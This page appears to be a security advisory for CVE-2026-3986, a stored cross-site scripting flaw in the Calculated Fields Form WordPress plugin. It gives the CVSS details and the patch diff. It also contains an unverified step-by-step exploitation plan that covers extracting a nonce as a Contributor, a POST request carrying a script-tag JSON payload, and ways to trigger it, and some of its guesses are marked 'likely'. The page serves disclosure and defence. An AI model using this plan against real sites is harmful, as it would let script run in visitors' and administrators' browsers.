CVE-2026-3986

Calculated Fields Form <= 5.4.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Form Settings

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.4.5.1
Patched in
1d
Time to patch

Description

The Calculated Fields Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form settings in all versions up to, and including, 5.4.5.0. This is due to insufficient capability checks on the form settings save handler and insufficient input sanitization of the `fcontent` field in `fhtml` field types. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.4.5.0
PublishedMarch 12, 2026
Last updatedMarch 13, 2026
Affected plugincalculated-fields-form

What Changed in the Fix

Changes introduced in v5.4.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-3986 ## 1. Vulnerability Summary The **Calculated Fields Form** plugin (<= 5.4.5.0) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the form settings save handler, registered on the `init` …

Show full research plan

Exploitation Research Plan - CVE-2026-3986

1. Vulnerability Summary

The Calculated Fields Form plugin (<= 5.4.5.0) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists because the form settings save handler, registered on the init hook, lacks sufficient capability checks and fails to sanitize the fcontent field within fhtml field types. Although the code ostensibly checks for manage_options capability, flaws in the plugin's integration with page builders or misconfigured capability filters allow users with Contributor roles to modify form structures. When these forms are rendered on the frontend, the malicious payload in the fhtml field is executed in the context of any user viewing the page.

2. Attack Vector Analysis

  • Endpoint: Any URL that triggers the WordPress init hook (typically wp-admin/admin.php or wp-admin/admin-ajax.php).
  • Action: init hook calls cp_calculated_fields_form_check_posted_data.
  • Payload Parameter: cp_calculatedfieldsf_form_structure (containing a JSON-encoded field of type fhtml with a malicious fcontent property).
  • Required Authentication: Contributor-level access or higher.
  • Preconditions: A form must exist (usually ID 1 exists by default), and the attacker must obtain a valid nonce for the action cff-form-settings.

3. Code Flow

  1. Entry Point: A POST request is sent to WordPress.
  2. Hook: add_action( 'init', 'cp_calculated_fields_form_check_posted_data', 99 ); in cp_calculated_fields_form_free.php.
  3. Logic Check: cp_calculated_fields_form_check_posted_data checks for:
    • isset( $_POST['cp_calculatedfieldsf_post_options'] )
    • is_admin() (True for requests to /wp-admin/)
    • wp_verify_nonce( ..., 'cff-form-settings' )
    • current_user_can( apply_filters( 'cpcff_forms_edition_capability', 'manage_options' ) )
  4. Sink: If checks pass, cp_calculatedfieldsf_save_options() (internal function) updates the form_structure in the {wp_prefix}cp_calculatedfieldsf_forms table.
  5. Execution: When the form is displayed (via shortcode [CP_CALCULATED_FIELDS id="1"]), inc/cpcff_public_int.inc.php processes the fields. The fhtml type's fcontent is retrieved and rendered without sufficient sanitization.

4. Nonce Acquisition Strategy

The nonce action required is cff-form-settings. This nonce is typically generated for the form builder interface.

  1. Identify Source: The plugin integrates with the Gutenberg editor (Block Editor). The function gutenberg_editor_config() in inc/cpcff_page_builders.inc.php or the main admin menu registration enqueues scripts that localize form data.
  2. Strategy:
    • Log in as a Contributor.
    • Navigate to the Posts section and create or edit a post.
    • The plugin likely localizes the required nonce for the block editor to allow form selection/configuration.
    • Use browser_eval to extract the nonce from the localized JavaScript objects.
    • Target Variable: Look for window.cpcff_admin_data?.nonce or similar patterns in the page source of the post editor. Based on the save handler, the nonce key is likely named _cpcff_nonce in the global scope if using the standard builder, or within a localized object like cpcff_gutenberg_data.

5. Exploitation Strategy

Step 1: Obtain Nonce

As a Contributor, navigate to /wp-admin/post-new.php. Open the browser console (via browser_eval) and search for the nonce:

// Example check
window._cpcff_nonce || window.cpcff_admin_data?.nonce || window.cpcff_gutenberg_data?.nonce

Step 2: Update Form Structure

Send a POST request to /wp-admin/admin.php with the following parameters:

  • URL: http://localhost:8080/wp-admin/admin.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    • cp_calculatedfieldsf_post_options=1
    • cp_calculatedfieldsf_id=1 (Target Form ID)
    • _cpcff_nonce=[EXTRACTED_NONCE]
    • cp_calculatedfieldsf_form_name=Injected Form
    • cp_calculatedfieldsf_form_structure=[MALICIOUS_JSON]

Malicious JSON Payload:

[
  [
    {
      "ftype": "fhtml",
      "name": "fieldname1",
      "fcontent": "<script>alert(document.domain)</script>",
      "replaceShortcodes": true
    }
  ],
  [
    {
      "title": "Exploit Form",
      "description": "Stored XSS"
    }
  ]
]

(Note: The JSON must be URL-encoded in the POST body).

Step 3: Trigger XSS

  1. Create a public post/page containing the shortcode: [CP_CALCULATED_FIELDS id="1"].
  2. Navigate to that page as any user (e.g., Administrator or Unauthenticated).
  3. The script alert(document.domain) will execute.

6. Test Data Setup

  1. Form Creation: Ensure at least one form exists (Plugin usually creates "Form 1" on activation).
  2. User: Create a user with the Contributor role.
  3. Shortcode Placement: Create a public page with [CP_CALCULATED_FIELDS id="1"] using WP-CLI:
    wp post create --post_type=page --post_title="Form Page" --post_status=publish --post_content='[CP_CALCULATED_FIELDS id="1"]'
    

7. Expected Results

  • The POST request to save the options should return a 200 OK or a redirect to the settings page (indicating the init hook logic completed).
  • When the "Form Page" is loaded, the browser should display an alert box.
  • The database entry for the form ID 1 should contain the raw <script> tag in the form_structure column.

8. Verification Steps

Verify the payload is stored in the database:

wp db query "SELECT form_structure FROM wp_cp_calculatedfieldsf_forms WHERE id=1"

Check for the presence of the string: <script>alert(document.domain)</script>.

9. Alternative Approaches

  • AJAX Endpoint: If the init hook check fails for some reason, check wp_ajax_cp_calculatedfieldsf_save_settings or similar AJAX actions often found in inc/cpcff_main.inc.php.
  • Shortcode Attribute Injection: If the fhtml path is blocked, check if other field types like fCalculated or ftext reflect their default_value or title without escaping.
  • Form Preview Trigger: In cp_calculated_fields_form_check_posted_data, if isset($_POST['preview']) is also set, the plugin calls $cpcff_main->form_preview(), which might render the XSS immediately in the admin response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Calculated Fields Form plugin is vulnerable to Stored Cross-Site Scripting (XSS) via form settings due to insufficient capability checks and flawed input sanitization. Authenticated attackers with Contributor-level access can inject malicious scripts into the `fcontent` property of `fhtml` fields, which execute when the form is rendered for any user.

Vulnerable Code

// cp_calculatedfieldsf_free.php lines 193-203
function cp_calculated_fields_form_check_posted_data() {
    // ...
    if (
        isset( $_POST['cp_calculatedfieldsf_post_options'] ) &&
        is_admin() &&
        isset( $_POST['_cpcff_nonce'] ) &&
        wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_cpcff_nonce'] ) ), 'cff-form-settings' ) &&
        current_user_can(apply_filters('cpcff_forms_edition_capability', 'manage_options'))
    ) {
        cp_calculatedfieldsf_save_options();

---

// inc/cpcff_form.inc.php lines 324-332
// Inside the form saving logic processing JSON properties
$i_l = strtolower( $i );
if (
    ! in_array( $i_l, array( 'eq', 'fcontent', 'customstyles', 'rule', 'sonclick', 'sonmousedown' ) )
) {
    $v = str_replace( '&', 'cff___amp', $v );
    $v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
    $v = str_ireplace( ['&lt;', '&gt;', '&amp;'], ['<', '>', '&'], $v );
    $v = str_replace( 'cff___amp', '&', $v );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/calculated-fields-form/5.4.5.0/inc/cpcff_form.inc.php /home/deploy/wp-safety.org/data/plugin-versions/calculated-fields-form/5.4.5.1/inc/cpcff_form.inc.php
--- /home/deploy/wp-safety.org/data/plugin-versions/calculated-fields-form/5.4.5.0/inc/cpcff_form.inc.php	2026-03-11 17:53:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/calculated-fields-form/5.4.5.1/inc/cpcff_form.inc.php	2026-03-12 19:36:04.000000000 +0000
@@ -323,14 +323,19 @@
 					$v = preg_replace( '/(\b)_style\s*=/i', '$1style=', $v);
 					$i_l = strtolower( $i );
 					if (
+						! current_user_can( 'unfiltered_html' ) || 
 						! in_array( $i_l, array( 'eq', 'fcontent', 'customstyles', 'rule', 'sonclick', 'sonmousedown' ) )
 					) {
-						$v = str_replace( '&', 'cff___amp', $v );
-						$v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
-						$v = str_ireplace( ['&lt;', '&gt;', '&amp;'], ['<', '>', '&'], $v );
-						$v = str_replace( 'cff___amp', '&', $v );
+						if ( current_user_can( 'unfiltered_html' ) ) { // The plugin accepts advanced tags for users with total control over the website.
+							$v = str_replace( '&', 'cff___amp', $v );
+							$v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true );
+							$v = str_ireplace( ['&lt;', '&gt;'], ['<', '>'], $v );
+							$v = str_replace( 'cff___amp', '&', $v );
+						} else {
+							$v = wp_kses_post($v);
+						}
 					} elseif ( 'customstyles' == $i_l ) {
-						$v = str_replace( '&gt;', '>', wp_kses( $v, 'strip') );
+						$v = sanitize_textarea_field( $v );
 					}
 				}

Exploit Outline

1. **Obtain Nonce**: Authenticate as a Contributor and access the post editor. Extract the `cff-form-settings` nonce from the localized script variables (e.g., `window._cpcff_nonce` or within `cpcff_gutenberg_data`). 2. **Identify Target Form**: Determine the ID of an existing form (default is usually 1). 3. **Craft Malicious Form Structure**: Create a JSON payload representing a form structure that includes a field of type `fhtml`. Within this field, set the `fcontent` property to contain an XSS payload, such as `<script>alert(document.domain)</script>`. 4. **Update Form Settings**: Send a POST request to `/wp-admin/admin.php` including parameters `cp_calculatedfieldsf_post_options=1`, `cp_calculatedfieldsf_id=[FORM_ID]`, `_cpcff_nonce=[NONCE]`, and `cp_calculatedfieldsf_form_structure=[MALICIOUS_JSON]`. 5. **Trigger Execution**: Navigate to any page where the target form is embedded via the `[CP_CALCULATED_FIELDS id="[FORM_ID]"]` shortcode. The script will execute in the browser of any visitor viewing the page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.